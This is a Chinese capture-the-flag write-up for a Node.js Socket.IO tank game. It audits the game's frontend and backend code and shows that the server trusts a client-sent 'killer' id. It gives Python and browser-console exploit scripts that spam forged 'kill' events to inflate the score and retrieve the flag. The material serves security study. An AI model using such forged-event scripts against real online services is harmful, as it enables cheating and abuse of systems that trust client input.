[nodejs+websocket] TankTrouble wp

发布于 2024-08-01  103 次阅读


Tanktrouble WP

题目环境:docker.zip
启动环境:

cd src
npm install
node server.js

当初自己做完,看了wp还有很多疑惑,今天理一理

题目分析

是一个js写的网页小游戏:
image_mak提示要玩到555分
js与服务器端通过socketio技术通信,涉及到两个io对象的方法:

接收端:on()监听事件
发送端:emit()发送事件

接收端on监听时,接收到发送端emit发送的事件后,可以对事件的数据进行操作

审计前端代码,重点看GameState.js(因为里面有处理各种collide(碰撞)的方法)

create()方法中,首先创建了socketio对象,一个玩家对应一个socketio对象
image_mak然后让此对象向服务端发送事件"start",告诉服务器自己的name
image_mak对应地,服务器端(server.js)中监听"start"事件,在玩家组ALL_PLAYER中添加对应的玩家地址和name,并返回"serverState"和"newPlayer"事件,返回addr和ALL_PLAYERS来同步地址和其他玩家的信息
image_mak然后在前端启动对这些事件名的监听
image_mak比如前端监听的update事件,在后端的逻辑是:
image_mak可以做到时刻周期性地更新所有玩家的信息(位置、血量、分数)到前端,做到各个前端的同步。
前端接收到update事件,使用事件的数据进行对页面的修改等操作
image_mak

我的做法

大致理解运作原理后,解题关键看前端的这个update函数:

    update() {
        this.socket.emit('position', {
            x: this.tank.x,
            y: this.tank.y,
            r: this.tank.rotation,
            id: this.id,
            health: this.tank.health,
        });
        ////////////////////////////////////// handle all collisions ///////////////////////////////////////////
        // tank-with walls
        this.game.physics.arcade.collide(this.tank, this.layer);
        // otherTanks with walls
        this.game.physics.arcade.collide(this.otherGroup, this.layer);
        // tank bullets with walls
        this.game.physics.arcade.collide(this.tank.weapon.bullets, this.layer);
        // otherTanks bullets with walls
        this.otherGroup.forEach(function (t) {
            this.game.physics.arcade.collide(t.weapon.bullets, this.layer);
        }, this);
        // tank with it's own bullets
        this.game.physics.arcade.collide(this.tank, this.tank.weapon.bullets, (tank, bullet) => {
            bullet.kill();
            tank.health -= 1;
            // console.log("I shot myself.");
            if (tank.health <= 0) {
                updateContent(this.notice.children[3], "you have been slain by yourself");
                // this.notice.children[3].textContent = "you have been slain by yourself";
                // console.log("you have been slain by yourself");
            }
        });
        // otherTanks with their own bullets
        this.otherGroup.forEach(function (t) {
            this.game.physics.arcade.collide(t, t.weapon.bullets, (tank, bullet) => {
                bullet.kill();

            });
        }, this);
        // tank bullets with otherTanks
        this.otherGroup.forEach(function (t) {
            this.game.physics.arcade.collide(t, this.tank.weapon.bullets, (tank, bullet) => {
                bullet.kill();

            });
        }, this);
        // otherTanks bullets with me
        this.otherGroup.forEach(function (t) {
            this.game.physics.arcade.collide(this.tank, t.weapon.bullets, (tank, bullet) => {
                bullet.kill();
                tank.health -= 1;
                if (tank.health <= 0) {
                    tank.socket.emit("kill", {
                        killer: t.id
                    });
                    updateContent(this.notice.children[3], `you have been slain by ${t.name}`);
                }
            });
        }, this);
    }

前端没有加分的处理,说明算分机制一定是后端写的
在update函数中只有两处emit与后端产生了通信,一处是position向后端发送自己的位置,一处是kill发送玩家被击杀的信息。
很明显后端在接收到killer的id后会在ALL_PLAYERS中为此id加分
那么可以反复向后端发送kill事件,killer为自己的id,就能为自己反复加分。
id如何获得呢,position等函数都有玩家的id,用burp抓包可以获得id
image_mak复现时在后端可以看到,添加玩家时:
image_mak其实id就是玩家的地址,并且作为ALL_PLAYERS的index
用python写脚本向服务器后端发websocket包kill,指定killer为自己的ip

import socketio
import time

# 创建一个Socket.IO客户端
sio = socketio.Client()

@sio.event
def connect():
    print("连接已建立")
    # 无限循环,持续发送消息
    sio.emit('start', {"name": "mak111"})
    while True:
        sio.emit('kill', {"killer": "::ffff:[玩家ip]"})
        print("已发送消息")
        time.sleep(0.1) 

#断开连接
@sio.event
def disconnect():
    print("连接已断开")

#连接
sio.connect('http://[服务器ip]:3000')

#保持脚本运行
sio.wait()

运行脚本时,可以看到后端调试输出的玩家信息,score已经开始增长了
image_mak
那为什么前端页面展示的分数没有随之增长呢?并且播报mak111击杀了mak111。

先看后端处理kill事件的逻辑

socket.on('kill', function (data) {
    console.log(`收到kill事件,${data}`);
    if(data) {
        try {
            let id = data.killer;
            if(id) {
                ALL_PLAYERS[id].score += 1;
                console.log(ALL_PLAYERS[id]);
            }
            socket.broadcast.emit('killBroadcast', {
                killer: id? ALL_PLAYERS[id].name : ALL_PLAYERS[addr].name,
                killed: id? ALL_PLAYERS[addr].name : "自己"
            });
        } catch(e) {
        }
    }
});

这会为ALL_PLAYERS["我的ip"]的score属性+=1,同时返回播报信息,killer为ALL_PLAYERS[id].name,即传来的id在ALL_PLAYERS中对应的name属性,killed为ALL_PLAYERS[addr],即服务器取当前socket对象的ip地址作为ALL_PLAYERS的索引查到的玩家name。
那么很明显我这里给的id和服务器取到的addr是同一个,就会播报mak111击杀了mak111。

然后,后端的update逻辑是:

    var pack = {};
    try{
        for (var i in ALL_PLAYERS) {
            var player;
            player = ALL_PLAYERS[i];
            pack[i] = {
                x: player.x,
                y: player.y,
                r: player.r,
                health: player.health,
                score: player.score
            };
        }
        for (var i in ALL_SOCKETS) {
            var socket = ALL_SOCKETS[i];
            socket.emit("update", pack);
        }
    } catch(e){}

前端接受update事件的逻辑是:

    onUpdate(data) {
        // console.log("Everyone else's info:");
        this.notice.children[0].textContent = `当前房间玩家数量:${Object.keys(data).length}`;
        for (var i in data) {
            var x, y, r, id, health;
            if (i != this.id) {
                x = data[i].x;
                y = data[i].y;
                r = data[i].r;
                id = data[i].id;
                health = data[i].health;
                if (this.otherPlayers[i] == null) {
                    console.log("Player is null.");
                }
                else {
                    this.otherPlayers[i].updateInfo(x, y, r, health);
                }
            }else {
                this.notice.children[1].textContent = `当前得分:${data[i].score}`;
            }
        }
    }

服务器端返回所有玩家的数据data,前端判断data的id是否和自己的id相等,如果相等就放到网页中,即自己的分数。

但是后端在处理新建socket连接时是这样做的:

io.on('connect', function (socket) {
    let addr = socket.handshake.address;
    if(ADDRESS.includes(addr)) {
        ADDRESS.splice(ADDRESS.indexOf(addr),1);
        delete ALL_SOCKETS[addr];
        delete ALL_PLAYERS[addr];
    }
    console.log(addr);
    ALL_SOCKETS[addr] = socket;
    ADDRESS.push(addr);

即如果发现新socketio对象的地址在地址列表ADDRESS中已存在,那么就会覆盖数据,并删除ALL_SOCKETS、ALL_PLAYERS中的原玩家数据和sockeio对象,然后添加新的socketio对象来覆盖。

也就是说当我们运行py脚本时,原本服务器存储的socketio对象就被删除覆盖了,但是我们前端使用的仍然是原本的socketio对象,这样服务器发送的update事件就不会发送给我们前端的socketio对象,而是发送给我们在py脚本中新建的socketio对象。这样网页前端不会收到update事件,自然也不会更新。

这也是为什么运行脚本后,网页显示的玩家数量仍为1,这是因为玩家数量也是从ALL_PLAYER的长度取得的。

但是,由于后端getflag的逻辑:

    socket.on("getFlag", function (data) {
        try {
            //console.log(ALL_PLAYERS);
            if(ALL_PLAYERS[addr].score >= 555) {
                ALL_PLAYERS[addr].score -= 555;
                socket.emit("getFlag", FLAG);
            } else {
                socket.emit("getFlag", {flag: "玩够555分就能拿到flag"});
            }
        } catch(e) {
        }
    });

是直接取客户端ip作为索引,去找玩家的分数,而我们前端的玩家虽然已经被删除,但是getflag时后端是直接拿我们的ip去找玩家数据的,因此还是可以找到我们用脚本创建的玩家对象的数据,即刷出来的满足获取flag条件的玩家的数据。

image_mak后端判断满足条件,返回了flag。

(当时是没有意识到这点,但是跑脚本的时候正好和网页创建用户的时候网络环境不一样,那么靶机后端拿到的ip不一样,没有覆盖,于是看到前端页面的分数就一直在涨,自然而然getflag了)

当然也可以先跑脚本再创建用户,这样就是前端创建的玩家覆盖了脚本的socketio对象,但是脚本还在向后端发送kill事件,从而服务器数据更改,前端同步通过socketio获得了后端返回的数据,判断id即ip地址相同,并插入到了页面。
image_mak

官方exp

官方exp算是比较正规的了,在js控制台直接创建两个io对象,一个作为击杀者,一个作为被击杀,最后随便用一个来getflag即可。由于都是在前端运行的socketio,这里的对象s1,s2在后端用的就是同一个socketio对象,

var s1 = io();
var s2 = io();

var killerId;

s1.emit("start",{"name":"tank_killed"});
s2.emit("start",{"name":"tank_killer"});

s2.on("serverState",data => killerId = data.id);

setTimeout(() => {
    console.log(`获取到的killerId:${killerId}`)
    for(let i=0;i<600;i++){
        s1.emit("kill",{"killer":killerId});
    }
}, 1000);

s2.on("getFlag",data => alert(data.flag));
setTimeout(() =>{
    s2.emit("getFlag");
},2000)

控制台运行这个,获得flag。
当然,在明确了后端的逻辑以后,只需要一个socketio对象就可以完成加分并getflag,如下是简化后的exp.js:

var s1 = io();

s1.emit("start",{"name":"tank_killed"});

setTimeout(() => {    
    for(let i=0;i<600;i++){
        s1.emit("kill",{"killer":"[ip]"});
    }
}, 1000);

s1.on("getFlag",data => alert(data.flag));

setTimeout(() =>{
    s1.emit("getFlag");
},2000)
A web ctfer from 0RAYS
最后更新于 2024-08-24